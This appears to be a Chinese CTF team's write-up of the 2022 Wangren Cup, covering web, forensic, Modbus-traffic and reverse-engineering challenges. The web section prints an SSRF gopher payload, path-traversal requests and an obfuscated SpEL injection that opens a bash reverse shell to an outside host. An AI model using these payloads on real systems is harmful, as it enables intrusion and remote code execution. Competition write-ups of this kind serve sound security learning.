2022第二届网刃杯writeup

admin 2025年2月15日23:27:53评论5 views字数 9299阅读30分59秒阅读模式
2022第二届网刃杯writeup

点击上方蓝字,关注我们吧!

2022第二届网刃杯writeup

前言

     平台体验感极差,py选手一大把;过程神似DAS,垂直上分真可怕。

2022第二届网刃杯writeup

#WEB

#Sign_in

打开网页:

<?php

    highlight_file(__FILE__);

    $ch = curl_init();

    curl_setopt($ch, CURLOPT_URL, $_GET['url']);

    curl_setopt($ch, CURLOPT_HEADER, 0);

    curl_exec($ch);

    curl_close($ch);

?>

这里可以进行SSRF,尝试直接file协议读取flag,失败,猜测当前机器没有flag,还有其他机器,读取路由表。

?url=file:///proc/net/arp

发现其他机器,http访问,发现一个特殊的机器。

2022第二届网刃杯writeup

要求传入a,b参数,同时要求本地,从bolean.club,利用gopher协议。

import urllib.parse

payload =

"""

POST /?a=1 HTTP/1.1

Host: 127.0.0.1

Content-Type: application/x-www-form-urlencoded

Content-Length: 3

X-Forwarded-For: 127.0.0.1

Referer: bolean.club

b=1

"""  

url = urllib.parse.quote(payload)

url = url.replace('%0A','%0D%0A')

res = 'gopher://172.73.26.100:80/'+'_'+url

res = urllib.parse.quote(result)

print(res)

得到flag:flag{Have_A_GoOd_T1m3!!!}

#Upload:

抓包修改type为ctf上传php文件,发现可以上传但不解析:

2022第二届网刃杯writeup

题目说了与sql有关,尝试在扩展名处加上单引号测试一下,结果引发sql报错。

2022第二届网刃杯writeup

尝试报错注入即可。

2022第二届网刃杯writeup

2022第二届网刃杯writeup

得到flag:flag{5937a0b90b5966939cccd369291c68aa}

#ez_java:

存在文件下载,经过测试得到web.xml。

?filename=../../../web.xml

发现 test388 与 download,下载对应的class文件。

?filename=../../../classes/com/abc/servlet/TestServlet.class
?filename=../../../classes/com/abc/servlet/DownloadServlet.class

反编译后发现spel表达式注入,黑名单需要绕过。

2022第二届网刃杯writeup

通过反射与字符串拼接绕过黑名单,payload。

name=#{T(String).getClass().forName("ja"+va.l"+"ang.Ru"+"nt"+"ime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"bash","-c","bash -i >&/dev/tcp/ip/2000 0>&1"})}

得到flag: flag{123awerghjvxcvcjfreawe}

2022第二届网刃杯writeup

#MISC

#玩坏的winxp

1、虚拟机加载硬盘

2、Magnet AXIOM收集信息发现了网页浏览历史中的特殊网址

2022第二届网刃杯writeup

3、meiren.png中两次binwalk可以得到一个需要密码才能解压的zip,并且提示寻找戴围脖的软件。

4、尝试直接使用浏览历史中的qq号解压缩失败后,直接加这个qq的好友,找到了压缩密码的md5。

2022第二届网刃杯writeup

5、使用xiaomin520解压压缩包,flag就在somethin.png上

2022第二届网刃杯writeup

#ICS

#easyiec

直接搜索flag即可。

#喜欢移动的黑客

修复一下流量包头。

2022第二届网刃杯writeup

头部长度不对,再改一下。

2022第二届网刃杯writeup

可以正常打开:

2022第二届网刃杯writeup

单独导出modbus流量,然后分析。

import pyshark

def get_code():

     captures = pyshark.FileCapture("modbus.pcapng")

     func_codes = {}

     for c in captures:

         for pkt in c:

             if pkt.layer_name == "modbus":

                 func_code = int(pkt.func_code)

                 if func_code in func_codes:

                     func_codes[func_code] += 1

                 else:

                     func_codes[func_code] = 1

     print(func_codes)

     captures.close()

if __name__ == '__main__':

 get_code()

 #find_flag(6)

结果:

{1: 196, 3: 116, 6: 18}

含义:

0x01 读线圈

0x05 写单个线圈

0x0F 写多个线圈

0x02 读离散量输入

0x04 读输入寄存器

0x03 读保持寄存器

0x06 写单个保持寄存器

0x10 写多个保持寄存器

所以操作有 6 是写寄存器 3是读取

根据题目,Monkey是一家汽修厂的老板,日常喜欢改装车,但由于发动机的转速有上限,发动机最多能接受10000转/分钟的转速,Monkey在最新一次对发动机转速进行测试时发生了故障,机械师阿张排查时测试期间,有一些异常的流量,请根据阿张捕获的流量包分析发动机的转速达到了多少转才出现的故障,flag为flag{data+包号}

分析单个指令流量。

import pyshark

def get_code():

     captures = pyshark.FileCapture("modbus.pcapng")

     func_codes = {}

     for c in captures:

         for pkt in c:

             if pkt.layer_name == "modbus":

                 func_code = int(pkt.func_code)

                 if func_code in func_codes:

                     func_codes[func_code] += 1

                 else:

                     func_codes[func_code] = 1

     print(func_codes)

     captures.close()

if __name__ == '__main__':

 #get_code()

 find_flag(6)

结果:

00000000000601060001091d

161 *

00000000000601060001091d

162 *

0000000000060106000109fb

163 *

0000000000060106000109fb

164 *

00000000000601060001154f

165 *

00000000000601060001154f

166 *

000000000006010600011a0a

167 *

000000000006010600011a0a

168 *

000000000006010600011b39

185 *

000000000006010600011b39

186 *

000000000006010600011b35

187 *

000000000006010600011b35

188 *

000000000006010600012766

189 *

000000000006010600012766

190 *

00000000000601060001270f

191 *

00000000000601060001270f

192 *

0000000000060106000126cd

193 *

0000000000060106000126cd

194 *

000000000006010600012766 这个包的数据 超过了100000 转速为10086

所以在原来的流量包中找到这个包的编号为68156

2022第二届网刃杯writeup

flag为:flag{10086+68156} 还是flag{1008668156} 提交。

#carefulguy:

TCP流量里面存在十六进制,将十六进制依次取出拼接在一起。

2022第二届网刃杯writeup

2022第二届网刃杯writeup

666c61677b7034757333313576337279316e7433726573746963397d
flag{p4us315v3ry1nt3restic9}

#xyp07

Vm0weGQxRXlTWGxVV0d4V1YwZFNVRlpyV25kWlZsSllZMFZrVmxKdVFsaFdNalZMWWtkS1IxTnFSbGhYU0VKNlZsWmFWMVpWTVVWaGVqQTk=

解几次base64得到密码Xyp77&7&77

过滤s7comm流量然后追踪tcp

找到下面有个字符串比较特殊

2022第二届网刃杯writeup

解密得到:

2022第二届网刃杯writeup

所以尝试提交:

flag{welcome_S7_world_xyp07}

2022第二届网刃杯writeup

#RE

#定时启动

启动时发现需要时间:

2022第二届网刃杯writeup

使用date命令设置时间,在启动还是不行

2022第二届网刃杯writeup

换到kali中去,看下设置时间后的时间,发现成功了

2022第二届网刃杯writeup

#ez_algorithm

ida分析后发现处理流程中,是对单个字符进行处理,那就可以爆破。

摘出处理函数如下,再写个爆破的python脚本。可以跑出

flag{w3Lc0mE#t0+3NcrYPti0N:}

其中针对_有随机处理为 特殊字符,所以跑出的flag中替换一下尝试提交即可。

#include <stdio.h>

#include <string.h>

#include "idatypes.h"

char *xyp2(void)

{

  return "ckagevdxizblqnwtmsrpufyhoj";

}

char *xyp3(void)

{

  return "TMQZWKGOIAGLBYHPCRJSUXEVND";

}

__int64  encryption3(char a1)

{

  unsigned __int8 v2; // [rsp+10h] [rbp+10h]

  v2 = a1;

  if ( (a1 <= 64 || a1 > 70) && (a1 <= 96 || a1 > 102) )

  {

    if ( (a1 <= 84 || a1 > 90) && (a1 <= 116 || a1 > 122) )

    {

      if ( (a1 <= 71 || a1 > 77) && (a1 <= 103 || a1 > 109) )

      {

        if ( (a1 <= 77 || a1 > 83) && (a1 <= 109 || a1 > 115) )

        {

          if ( a1 == 71 || a1 == 103 )

          {

            return (unsigned __int8)(a1 + 13);

          }

          else if ( a1 == 84 || a1 == 116 )

          {

            return (unsigned __int8)(a1 - 13);

          }

          else if ( a1 > 47 && a1 <= 57 )

          {

            return (unsigned __int8)(105 - a1);

          }

        }

        else

        {

          return (unsigned __int8)(a1 - 6);

        }

      }

      else

      {

        return (unsigned __int8)(a1 + 6);

      }

    }

    else

    {

      return (unsigned __int8)(a1 - 20);

    }

  }

  else

  {

    return (unsigned __int8)(a1 + 20);

  }

  return v2;

}

__int64  encryption2(char a1)

{

  unsigned __int8 v2; // [rsp+30h] [rbp+10h]

  v2 = a1;

  if ( a1 <= 64 || a1 > 90 )

  {

    if ( a1 <= 96 || a1 > 122 )

    {

      if ( a1 > 47 && a1 <= 57 )

        return (unsigned __int8)encryption3(a1);

    }

    else

    {

      return (unsigned __int8)encryption3(a1 - 32);

    }

  }

  else

  {

    return (unsigned __int8)encryption3(a1 + 32);

  }

  return v2;

}

char * encryption(char *a1)

{

  int v1; // eax

  char v2; // al

  char v3; // al

  __int64 v4; // kr00_8

  char v5; // al

  char v6; // al

  int v7; // eax

  char v8; // al

  char v9; // al

  char v10; // al

  char v11; // al

  char v12; // al

  char v14[1012]; // [rsp+20h] [rbp-60h] BYREF

  int v15; // [rsp+414h] [rbp+394h]

  const char *v16; // [rsp+418h] [rbp+398h]

  const char *v17; // [rsp+420h] [rbp+3A0h]

  int v18; // [rsp+42Ch] [rbp+3ACh]

  char *v19; // [rsp+430h] [rbp+3B0h]

  char *v20; // [rsp+438h] [rbp+3B8h]

  v17 = xyp2();                                 // ckagevdxizblqnwtmsrpufyhoj

  v16 = xyp3();                                 // TMQZWKGOIAGLBYHPCRJSUXEVND

  v20 = v14;

  v19 = a1;

  v18 = 0;

  v15 = 1;

  while ( v18 < strlen(a1) )

  {

  //printf("---v19:%xn",*v19);

    if ( *v19 <= 0x40 || *v19 > 90 )            // 非大写

    {

      if ( *v19 <= 0x60 || *v19 > 122 )         // 非小写

      {

        if ( *v19 == '_' )                      // 下划线

        {

          switch ( v15 + rand() % 7 )

          {

            case 0:

              *v20 = ':';

              break;

            case 1:

              *v20 = '&';

              break;

            case 2:

              *v20 = '+';

              break;

            case 3:

              *v20 = '*';

              break;

            case 4:

              *v20 = '\';

              break;

            case 5:

              *v20 = '?';

              break;

            case 6:

              *v20 = '$';

              break;

            case 7:

              *v20 = '#';

              break;

            default:

              break;

          }

        }

        else if ( *v19 <= 0x2F || *v19 > 0x39 ) // 非数字 - 小写

        {

          *v20 = *v19;

        }

        else

        {

          v12 = encryption2(*v19);              // 数字

          *v20 = v12;

        }

      }

      else                                      // 小写字母

      {

        v7 = v18 % 4;

        if ( v18 % 4 == 1 )

        {

          v9 = encryption2(v17[(*v19 - 'a') * (v18 % 4)]);

          *v20 = v9;

        }

        else if ( v7 > 1 )

        {

          if ( v7 == 2 )

          {

            v10 = encryption2(v17[(*v19 - 97) ^ (v18 % 4)]);

            *v20 = v10;

          }

          else if ( v7 == 3 )

          {

            v11 = encryption2(v17[*v19 - 97 + v18 % 4]);

            *v20 = v11;

          }

        }

        else if ( !v7 )

        {

          v8 = encryption2(v17[*v19 - 97 - v18 % 4]);

          *v20 = v8;

        }

      }

    }

    else                                        // 大写字母

    {

      v1 = v18 % 4;

      if ( v18 % 4 == 1 )

      {

        v3 = encryption2(v16[*v19 - 65 + v18 % 4]);

        *v20 = v3;

      }

      else if ( v1 > 1 )

      {

        if ( v1 == 2 )

        {

          v4 = v18 * (*v19 - 65);

          v5 = encryption2(v16[(((HIDWORD(v4) >> 30) + (unsigned __int8)v18 * (*v19 - 65)) & 3) - (HIDWORD(v4) >> 30)]);

          *v20 = v5;

        }

        else if ( v1 == 3 )

        {

          v6 = encryption2(v16[(*v19 - 65) ^ (v18 % 4)]);

          *v20 = v6;

        }

      }

      else if ( !v1 )

      {

        v2 = encryption2(v16[*v19 - 65 - v18 % 4]);

        *v20 = v2;

      }

    }

    ++v18;

    ++v19;

    ++v20;

  }

  printf("%sn",v14);

  return v14;

}

const char *xyp1(void)

{

  return "BRUF{E6oU9Ci#J9+6nWAhwMR9n:}";

}

int  main()

{

  const char *v3; // rax

  char v5[1000]; // [rsp+20h] [rbp-60h] BYREF

  char *Str1; // [rsp+408h] [rbp+388h]

  sprintf(v5,"abc123");

  while(1){

  scanf("%s", v5);

  Str1 = encryption(v5);

  }

  /*

  printf("ret:%sn",Str1);

  v3 = xyp1();

  if ( !strcmp(Str1, v3) )

    puts("Gj!You Win!!!");

  else

    puts("Sry!You Lost!!!");

  system("pause");

  */

  return 0;

}

from pwn import *

r = process('/mnt/d/ctf/ti/网刃杯2022/re-ez_algorithm/e')

cc = b"BRUF{E6oU9Ci#J9+6nWAhwMR9n:}"

#BRUF{E6oU9Ci#J9+6nWAhwMR9n:}

import string

flag=''

for i in range(len(cc)):

    for c in string.printable:

        r.sendline(flag+c)

        t = r.recvline()

        if (t[i] == cc[i]):

            print(c,t[i],cc[i])

            flag +=c

            break  

print(flag)

r.interactive()

#flag{w3Lc0mE#t0+3NcrYPti0N:}

#flag{w3Lc0mE_t0_3NcrYPti0N_}

#flag{w3Lc0mE_t0_3NcrYPti0N:} 这个对

#Re_function

zip加密了查看注释,发现一堆16进制数。

使用 CyberChef 得到密码:

2022第二届网刃杯writeup

得到密码3CF8

re_easy_func1.exe主要逻辑为:

for ( i = 0; i < v4; i += 2 )

    Buffer[i] ^= 0x37u;

  v6 = 0;

  if ( v4 <= 0 )

    goto LABEL_7;

  do

  {

    v7 = *((_BYTE *)&v10 + v6);

    v8 = Buffer[v6++];

  }

  while ( v6 < v4 )

re_easy_func是一个换表base64

脚本:

flag=[100, 113, 84, 84, 100, 120, 116, 120, 100, 65, 64, 72, 112, 109, 24, 74, 65, 120, 102, 114, 65, 120, 94, 78, 93, 82, 14, 61]

for i in range(0,len(flag),2):

    flag[i] ^= 0x37

print(bytes(flag))

import base64

a = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'    #标准表

b = 'FeVYKw6a0lDIOsnZQ5EAf2MvjS1GUiLWPTtH4JqRgu3dbC8hrcNo9/mxzpXBky7+'   #新表

c = 'SqcTSxCxSAwHGm/JvxQrvxiNjR9='

trantab = c.maketrans(b, a)

print(base64.b64decode(c.translate(trantab))) 

#flag{we1come_t0_wrb}

#freestyle

from sympy import Symbol,solve

x = Symbol('x')

y = Symbol('y')

fx=4 * (3 * x / 9 - 9) - 4400

r = solve(fx,x)

print(r)

#3327

#2 * (y % 56) = 98

#y%56 = 49

#y = 49、105、。。。。

y = 105

import hashlib

print(hashlib.md5(b"3327105").hexdigest())

# flag{31a364d51abd0c8304106c16779d83b1}

2022第二届网刃杯writeup

2022第二届网刃杯writeup

2022第二届网刃杯writeup

  Arr3stY0u是2022年1月3日从山海关安全团队中CTF选手组成的子团队。P1umH0建议用Arr3sted,但由于arrested这个单词译为"被捕",属实不吉利,故继续使用Arr3stY0u。我们积极参与国内外各大小型CTF竞赛,持续招收WEB方向nodejs审计选手、RE方向VM&推箱子选手、PWN方向堆和盲打玩的6的选手、CRYPTO区块链选手、IOT选手、工控选手、生物信息选手,有意者请后台私信我们。

让我知道你在看

2022第二届网刃杯writeup

原文始发于微信公众号(山海之关):2022第二届网刃杯writeup

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月15日23:27:53
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   2022第二届网刃杯writeuphttps://cn-sec.com/archives/1946760.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息